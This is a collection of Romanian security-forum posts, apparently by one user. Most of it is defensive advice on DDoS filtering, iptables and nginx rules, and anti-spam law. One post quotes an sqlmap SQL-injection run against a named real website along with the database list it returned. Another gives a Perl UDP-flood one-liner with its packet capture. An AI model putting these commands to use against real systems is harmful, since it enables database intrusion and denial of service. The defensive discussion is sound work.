aelius

spune bre ca esti student si cauti coleg pentru a pune impreuna la chirie, ca imediat apar baietii glumeti si o sa spuna ca esti poponar! ps: modific eu titlul ala din "Caut" in altceva. // edit: ah, cauti colega, nu coleg )

rooturi, sigur ca da Cumpar topor!

Ce sintaxa vrei frate, nu te uiti ce scrie la el la location ? Toata treaba aia a durat doua secunde. Ce ca**t de hacking e asta ? A luat un link si a dat cu sqlmap pe el hp ~ # sqlmap -u "http://www.mida.ro/content.php?id=21" --dbs --union-use sqlmap/0.8 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:48:13 ............... web server operating system: Linux Fedora web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5 [23:48:14] [INFO] fetching database names available databases [23]: [*] ambalaj_ccihr [*] costides_cartuse [*] costides_corvina [*] costides_dekoratex [*] costides_sazy [*] costides_transilva [*] csalad [*] csikisport [*] hardwarecenter_hc [*] hardwarecenter_szamla [*] information_schema [*] markbi [*] mida [*] munkacsy [*] mysql [*] parfum [*] parfumworld [*] salvator [*] syrinx [*] test [*] twinart [*] vkv [*] zarafa gata frate, am dat o comanda si sunt hacker, o sa fiu in imparatia cerului, ia sa-l pun inca odata pe show off pe RST, poate o sa capat respectul baietilor, ca sunt bazat

Citeste regulile forumului te rugam. Aceasta sectiune este pentru altceva iar ultimul raspuns in acest thread a fost acum 1 an. Esti liberi sa deschizi un thread in sectiunea "Ajutor" in care sa spui problema cu lux de amanunte. Exemplu: Am un stick wireless marca ____, folosesc OS _____, incerc sa fac _____ insa primesc eroarea ____ ...... Daca nu stii sa pui intrebari, nu te astepta sa primesti raspunsuri. Thread closed

E o vorba buna: "Do not try to invent your own internet". Un 404 poate aparea oricand in site in urma unui link incorect sau chiar a faviconului lipsa. //edit: @ibr22: Problema cu 404 nu ar intra in aceasta sectiune, ci intr-o discutie legata de servere web sau special pentru nginx. Este abordata gresit chestia cu proxy_pass ; Nu dorim ca requesturile sa se faca in continuare prin serverul nostru. As opta pentru rewrite. error_page 404 /404.html; location = /404.html { rewrite . http://www.google.com/ last; }

Instaleaza mod_rpaf pe apache pentru a vedea adresele ip reale ale utilizatorilor (ai frontend+backend). Poti bloca ce e mai sus foarte simplu: iptables -I INPUT -p tcp --dport 80 -m string --string "UNSOFT" --algo bm -j REJECT --reject-with tcp-reset Sau daca vrei sa blochezi adresele ip (instaleaza rpaf inainte, sa-ti afiseze corect adresele ip in loc de 127.0.0.1): for i in `grep UNSOFT /calea/catre/apache.log |awk '{print $1}'` ; do iptables -I INPUT -p tcp -s $i --dport 80 -j DROP;done Sau, daca tot ai nginx in fata apache-ului, poti redirecta ce e 404 catre google.com; Nu o sa iti mai ajunga requesturile in apache si nu va mai consuma resurse. Pentru mitigarea atacurilor dos/ddos HTTP recomand varnish. Utile: - https://www.rtfm.ro/tuning/avantajele-folosirii-arhitecturilor-web-dual-strat/ - https://www.varnish-cache.org

Si primesti raspuns de la Gheorghe: Va rog sa-mi specificati partenerul dumneavoastra precum si dovada precum ca acestia au acceptul meu prealabil de a primi email-uri cu caracter comercial de la acesta sau partenerii sai. Spam sucks //edit: in prealabil, in discutie se adauga frumos la CC email-ul de abuz al hosterului. restul nu are rost sa se discute, asta spune clar totul: “Este interzisa efectuarea de comunicari comerciale prin utilizarea unor sisteme automate de apelare care nu necesita interventia unui operator uman, prin fax sau posta electronica, sau prin orice alta metoda care foloseste serviciile de comunicatii electronice destinate publicului, cu exceptia cazului in care abonatul vizat si-a exprimat in prealabil consimtamantul expres de a primi asemenea comunicari” Tot spam sunt si email-urile de la facebook "x prieten te invita sa ..." Deci x prieten ma invita dar defapt nu ma invita el, ci reteaua de socializare dupa ce i-au furat email-urile. Daca vrea X sa ma invite pe gunoi.ro, sa o faca telefonic. Orice email trimis grupa si nesolicitat este spam. Daca vrei iti dau cateva email-uri de la mine catre diverse companii de hosting, sa vezi cum le-au disparut site-urile baietilor in 20 de minute de la report.

Legea 506/2004, articolul 12 prevede urmatoarele: “Este interzisa efectuarea de comunicari comerciale prin utilizarea unor sisteme automate de apelare care nu necesita interventia unui operator uman, prin fax sau posta electronica, sau prin orice alta metoda care foloseste serviciile de comunicatii electronice destinate publicului, cu exceptia cazului in care abonatul vizat si-a exprimat in prealabil consimtamantul expres de a primi asemenea comunicari” Deci, labareala din email-uri de la final cu "Adresa dvs a fost gasita pe un site public; Email-ul nu este si nu poate fi considerat spam cat si invocarea legii 365/2002 cu modificarile aduse prin legea 121/2006 privind comertul electronic" este de pomana.

Server side doar. Magento e praf rau de tot. Daca ai VDS, iti pot da niste sfaturi.

Daca este cu adrese ip diferite, le ataca independent. Solutia la ideea ta ar fi in felul asta: 1. Pachetele merg in router. 2. Din router se face multipath routing catre serverele cu FreeBSD care au ip-uri private (elimini posibilitatea de a fi atacate independent) 3. Se face filtering pe cele 3-4-5 servere cu FreeBSD. 4. Traficul se intoarce catre router. 5. Traficul intors din sistemele FreeBSD, este routat catre adresa ip a clientului/serverului. PS: Prezenta routerului sa stie de multipath, load balancing, policy routing & more, intra deja la echipamente specializate. Costul acestora sunt cu 4-5 zero-uri in euro si decat sa faci asta, te costa mai putin sa cumperi direct un o scula hardware care sa filtreze. (Costurile sunt enorme in ambele cazuri)

Iti va epuiza latimea de banda inainte de asta. Daca resursele primului server sunt epuizate, nu va mai trece deloc trafic catre serverul cu serviciile. Cum am spus, nu exista o solutie completa si perfecta pentru protectie. Un server decent cu FreeBSD iti duce undeva la 500.000 de pachete pe secunda. Uite un log de pe un server. Sunt + 400kpps; Atacul era UDP de la surse multiple. Feb 23 02:48:59 hp glflow: DOS ATTACK: – 450152.33 packets/s Feb 23 02:49:05 hp glflow: DOS ATTACK: – 429905.50 packets/s Feb 23 02:49:17 hp glflow: DOS ATTACK: – 433208.17 packets/s Feb 23 02:49:23 hp glflow: DOS ATTACK: – 412169.50 packets/s Feb 23 02:49:28 hp glflow: DOS ATTACK: – 457770.83 packets/s Feb 23 02:49:35 hp glflow: DOS ATTACK: – 440214.50 packets/s In momentul atacului de mai sus, serverul se comporta ok.

Sigur, FreeBSD are atat netfilter cat si packet filter. In legatura cu prima intrebare legata de bandwidth: Nu exista protectie DDoS, toate sistemele si echipamentele folosite pentru filtrare, nu fac altceva decat sa inlature efectele atacurilor (sa permita utilizatorilor legiti sa acceseze un serviciu). Deci, chiar daca un atac dos sau ddos este filtrat de catre voi (endpoint), latimea de banda va fi utilizata. Singurul lucru ce il face un filtru: - Daca este in routing, nu permite trecerea traficului catre client/server servicii. - Daca este pe serverul ce ruleaza serviciile, face ca pachetele sa fie ignorate (cele cu reguli de filtrare sau nullroute) In legatura cu BGP-ul: Daca ai numar AS (Autonomous System) se intelege ca poti face routari dinamice utilizand BGP. Acolo ai mai multe metode de a filtra un atac dos/ddos (ex: comunitati bgp, blackholing, etc ..) Se pot vedea si aici cateva chestii: - https://rstcenter.com/forum/46523-nullrouting.rst - https://www.rtfm.ro/ddos/tipuri-de-atacuri-denial-of-service/

Pentru @Zatarra: Pentru filtrarea atacurilor, daca nu exista un echipament specializat, as recomanda un server cu FreeBSD pus inainte de serverul cu servicii. (sau chiar serverul cu servicii sa fie FreeBSD) Pe el poti face urmatoarele: (cu pachet filter) - definirea unui numar maxim de conexiuni de la o sursa catre destinatie cat si catre un serviciu explicit. - definirea unui numar maxim de conectiuni pe secunda de la o sursa catre destinatie cat si catre un serviciu explicit - definirea de liste de acces (ACL) cat si masura luata pentru primele doua cazuri (exemplu: blocarea surselor pentru un anumit timp, limitarea conexiunilor, blocarea aleatoare a pachetelor pana la un anumit procent) - definirea numarului maxim de conexiuni acceptate pe un serviciu. Exemplu: putem defini cu pf un numar maxim de 3000 'tcp states' catre web, astfel incat, daca avem un atac de mare intensitate, singurul serviciu nefunctional va fi web-ul, nu tot serverul sau toate aplicatiile (evitarea epuizarii socketilor disponibili)

@ilbr22: Scriptul prezentat de tine are urmatoarele lipsuri sau chestii gandite prost: - La servicii, este specificat portul 143 ; Acest port este pentru IMAP si nu vad de ce ai avea nevoie sa-l accesezi din extern. Imap-ul il poti folosi pe localhost doar, pentru webmail iar clientii se conecteaza la pop 3 (110); Aici mai este de comentat in privinta celorlalte porturi. - Am observat ca ai folosit default policy DROP insa la acceptarea pachetelor ai "-m state --state NEW". Orice pachet syn este cu STATE NEW si apoi va fi "RELATED", asa cum spune regula de mai sus. Deci, poate inghite pachete syn pana la epuizarea resurselor. Aici ai asa: SERVICII1="25 110 53 123" for i in ${SERVICII1}; do iptables -A INPUT -p udp --dport ${i} -m state --state NEW -j ACCEPT done - port 123 este NTP (network time protocol). Banuiesc ca nu ai server de timp setat pe server, asadar, portul UDP 123 trebuie acceptat ca srcport (Exemplu accept pachetele UDP de la orice sursa cu sursa port 123) "--sport 123" - porturile 25 si 110 (smtp + pop3) nu au nevoie de UDP. - udp este stateless, nu vad de ce ai seta "-m state" (match state) - nu vad nimic acceptat cu sport 53 (serverul nu iti va rezolva niciun host) @Zatarra: O sa raspund tot astazi la post pentru intrebarea ta; O sa-ti dau mai multe solutii

La un tutorial ASM facut de @c0unt3rlog1c despre un udp flooder au fost ceva intrebari puse de @Zatarra; Pentru a nu altera threadul omului, am deschis discutia asta. Sunt sigur ca sunt multi care au astfel de intrebari. Va astept aici cu orice intrebare legata de atacurile (D)DoS, efectele acestora cat si metodele de inlaturare ale efectelor. Din exemplul meu din acel thread: 21:07:38.225850 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225855 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225857 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225867 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225869 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225994 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225996 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225998 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225999 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 Se pot observa urmatoarele caracteristici ale acestui atac (profilul): - Srcaddr este static (172.16.0.4) - Srcport este static (37438) - Dstport este static (80) ; Avand port 80, tinta atacului este serviciul web. - Lungimea pachetului nu este variabila (length 1) - Atacul este de tip UDP / Non spoofed. Nota: Atacurile udp vizeaza congestia conexiunii. Este un atack ce 'consuma' latimea de banda. Deci, chiar daca filtrati atacul (caz in care pachetele nu mai sunt procesate), latimea de banda o sa fie utilizata. O sa luam intrebarile puse in threadul celalalt (le folosim ca scenarii): - Solutia in ambele scenarii, avand in vedere exemplul de atac de mai sus este filtrarea pachetelor UDP ce au ca tinta portul 80. Acesta fiind folosit de HTTP, comunicarea client->server se face doar pe TCP.

@Zatarra: Deschid un nou thread cu discutia, poate sunt mai multi interesati de subiect. Sa nu "alteram" threadul omului. // edit Noul thread cu discutia este aici. Merci,

Daca este exact ca in exemplul de mai sus, se vede ca pleaca constant de la acelasi SRC PORT (sport). La fiecare initializare a scriptului src port este intotdeauna altul. Insa daca cineva porneste comanda de mai sus pe un server catre tine, pana gasesti alta solutie in caz ca nu ai scule specializate de filtering, poti filtra dupa src port. Dar fiind vorba de o singura sursa, de ce nu ai da nullroute pe SRC IP ? Sau iti dau un hint: http://freecode.com/projects/glflow ; Poti modifica asta ca in loc de alerta, sa dea nullroute Mai este o mica problema: Filtrezi atacul, insa banda este epuizata. Daca ai un link de 100Mbps si ala trimite pachete la greu isi atinge scopul indiferent ce ai face (ca end user) //edit: normal ca tot ai trafic, pachetele continua sa vina, fie ca sunt procesate sau nu.

Da, ai inteles bine, insa uite un exemplu: Am in reteaua de acasa un mic server pe care lucrez si are adresa ip 172.16.0.4. Masina de lucru este defapt un mac si are adresa ip 172.16.0.3. Am facut acum doua minute un test care arata cam asa: Pe server: hp ~ # perl -e 'use Socket; socket(tex, PF_INET, SOCK_DGRAM, 17); for ( { send(tex, 0, 0, sockaddr_in(80, inet_aton("172.16.0.3"))); }' Uite ce s-a intamplat pe Mac: tex ~ $ tcpdump -n dst port 80 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on en0, link-type EN10MB (Ethernet), capture size 65535 bytes 21:07:38.225850 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225855 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225857 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225867 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225869 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225994 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225996 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225998 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.225999 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.226001 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.226002 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.226004 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.226022 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 21:07:38.226024 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1 ............ Am repetat testul folosind AF_INET in loc de PF_INET, "adicatelea", cam asa: hp ~ # perl -e 'use Socket; socket(tex, AF_INET, SOCK_DGRAM, 17); for ( { send(tex, 0, 0, sockaddr_in(80, inet_aton("172.16.0.3"))); }' In ambele cazuri, indiferent de AF_INET sau PF_INET, rezultatul a fost acelasi si asta m-a dus la concluzia ca PF_INET si AF_INET este unul si acelasi lucru, in ciuda faptului ca in sfantul manual scrie asa: AF = Address Family PF = Protocol Family In situatia de fata, eu defineam protocolul, deci in mod normal ar trebui sa folosesc PF_INET, nu? M-am uitat si la headerul 'socket.h' din sursa kernelului (include/linux/socket.h ) /* Protocol families, same as address families. */ #define PF_INET AF_INET Deci, nu mai este nicio diferenta intre ele ?

O mica intrebare te rog: invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17 As putea pune in loc de linia de mai sus linia asta? invoke socket, PF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17 Mai exact, sa inlocuiesc AF_INET cu PF_INET. Ma interesaza raspunsul, daca ar functiona sau nu, cat si motivul. Multumesc

Ma bucur. Eu sunt Marian si imi place sa vorbesc cu oameni. Inca nu m-am prins daca "c0unt3rlog1c" asta e nume de familie sau prenume. Oricum .. Bun venit

"Bine ai venit (aici te poti prezenta)" - Aia zice sectiunea asta. Daca ai spus doar salut, de ce ai mai facut efortul de a deschide threadul ?

Fereasca sfantul ...

Shit happens Te-a cautat lumea pe site-uri de "yahoo online shits" PS: E si al meu chiar, doar ca nu folosesc niciodata alte email-uri decat cele de pe domeniile mele )

Eu n-am ce face cu ele, deasta le pun aici, poate le trebuie baietilor. Merci